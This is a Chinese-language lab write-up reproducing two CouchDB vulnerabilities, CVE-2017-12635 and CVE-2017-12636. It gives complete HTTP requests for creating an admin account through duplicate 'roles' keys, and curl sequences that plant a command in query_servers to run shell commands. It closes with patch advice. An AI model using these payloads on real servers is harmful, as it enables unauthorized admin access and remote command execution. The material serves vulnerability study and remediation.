CouchDB 漏洞复现
字数 1147 2025-08-11 08:36:18

CouchDB 漏洞复现与分析(CVE-2017-12635 & CVE-2017-12636)

漏洞概述

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JSON API 访问。本次分析的两个漏洞分别是:

  1. CVE-2017-12635:由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性,使得任意用户可创建管理员账户(垂直权限绕过漏洞)
  2. CVE-2017-12636:任意命令执行漏洞,可通过config API修改CouchDB的配置query_server,该配置项在设计、执行view时将被执行

影响版本

  • 小于 1.7.0
  • 小于 2.1.1

环境搭建

使用Vulhub的漏洞平台进行复现:

docker-compose up -d

访问 http://[靶机IP]:5984/_utils/#login 出现登录页面即搭建成功。

CVE-2017-12635 复现(权限绕过)

漏洞原理

由于Erlang和JavaScript对JSON解析方式的差异,当发送包含两个roles字段的数据包时,CouchDB会使用JavaScript解析后的结果(roles为空数组),而忽略Erlang解析出的管理员权限,从而绕过权限检查。

复现步骤

  1. 尝试直接创建管理员账户(会被拒绝):
PUT /_users/org.couchdb.user:liangban HTTP/1.1
Host: www.0-sec.org:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/json
Content-Length: 104

{
  "type": "user",
  "name": "liangban",
  "roles": ["_admin"],
  "password": "liangban"
}
  1. 绕过role验证:发送包含两个roles的数据包
PUT /_users/org.couchdb.user:liangban HTTP/1.1
Host: www.0-sec.org:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/json
Content-Length: 104

{
  "type": "user",
  "name": "liangban",
  "roles": ["_admin"],
  "roles": [],
  "password": "liangban"
}
  1. 使用创建的用户登录验证:
  • 用户名:liangban
  • 密码:liangban
  • 确认已获得管理员权限

CVE-2017-12636 复现(命令执行)

漏洞原理

通过config API修改query_servers配置,该配置会在设计、执行view时被执行,从而实现任意命令执行。

CouchDB 2.x 复现步骤

  1. 获取node名称(需要管理员权限):
curl http://liangban:liangban@192.168.52.128:5984/_membership

返回示例:

{"all_nodes":["nonode@nohost"],"cluster_nodes":["nonode@nohost"]}
  1. 修改node配置(执行命令):
curl -X PUT http://liangban:liangban@192.168.52.128:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
  1. 创建测试数据库:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan'
  1. 创建测试文档:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
  1. 添加_view触发命令执行:
curl -X PUT http://liangban:liangban@192.168.52.128:5984/zhuan/_design/test -d '{"_id":"_design/test","views":{"wooyun":{"map":"wooyun"}}}' -H "Content-Type: application/json"
  1. 验证命令执行结果:
    进入容器检查 /tmp/success 文件是否创建成功。

CouchDB 1.6.x 复现步骤

  1. 修改query_servers配置:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
  1. 创建测试数据库:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan'
  1. 创建测试文档:
curl -X PUT 'http://liangban:liangban@192.168.52.128:5984/zhuan/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
  1. 通过_temp_view触发命令执行:
curl -X POST 'http://liangban:liangban@192.168.52.128:5984/zhuan/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

漏洞修复建议

  1. 升级到CouchDB 1.7.0或2.1.1及以上版本
  2. 如无法立即升级,可采取以下临时措施:
    • 限制CouchDB的访问IP
    • 配置防火墙规则
    • 禁用不必要的API接口

EXP利用

文中提到可通过公众号获取Python编写的自动化利用脚本,该脚本应包含:

  • 自动检测CouchDB版本
  • 根据版本选择利用方式
  • 支持自定义命令执行
  • 支持反弹shell等功能

注意:实际利用时应遵守法律法规,仅在授权测试的环境中使用。

CouchDB 漏洞复现与分析(CVE-2017-12635 & CVE-2017-12636) 漏洞概述 CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JSON API 访问。本次分析的两个漏洞分别是: CVE-2017-12635 :由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性,使得任意用户可创建管理员账户(垂直权限绕过漏洞) CVE-2017-12636 :任意命令执行漏洞,可通过config API修改CouchDB的配置query_ server,该配置项在设计、执行view时将被执行 影响版本 : 小于 1.7.0 小于 2.1.1 环境搭建 使用Vulhub的漏洞平台进行复现: 访问 http://[靶机IP]:5984/_utils/#login 出现登录页面即搭建成功。 CVE-2017-12635 复现(权限绕过) 漏洞原理 由于Erlang和JavaScript对JSON解析方式的差异,当发送包含两个roles字段的数据包时,CouchDB会使用JavaScript解析后的结果(roles为空数组),而忽略Erlang解析出的管理员权限,从而绕过权限检查。 复现步骤 尝试直接创建管理员账户(会被拒绝): 绕过role验证:发送包含两个roles的数据包 使用创建的用户登录验证: 用户名:liangban 密码:liangban 确认已获得管理员权限 CVE-2017-12636 复现(命令执行) 漏洞原理 通过config API修改query_ servers配置,该配置会在设计、执行view时被执行,从而实现任意命令执行。 CouchDB 2.x 复现步骤 获取node名称(需要管理员权限): 返回示例: 修改node配置(执行命令): 创建测试数据库: 创建测试文档: 添加_ view触发命令执行: 验证命令执行结果: 进入容器检查 /tmp/success 文件是否创建成功。 CouchDB 1.6.x 复现步骤 修改query_ servers配置: 创建测试数据库: 创建测试文档: 通过_ temp_ view触发命令执行: 漏洞修复建议 升级到CouchDB 1.7.0或2.1.1及以上版本 如无法立即升级,可采取以下临时措施: 限制CouchDB的访问IP 配置防火墙规则 禁用不必要的API接口 EXP利用 文中提到可通过公众号获取Python编写的自动化利用脚本,该脚本应包含: 自动检测CouchDB版本 根据版本选择利用方式 支持自定义命令执行 支持反弹shell等功能 注意:实际利用时应遵守法律法规,仅在授权测试的环境中使用。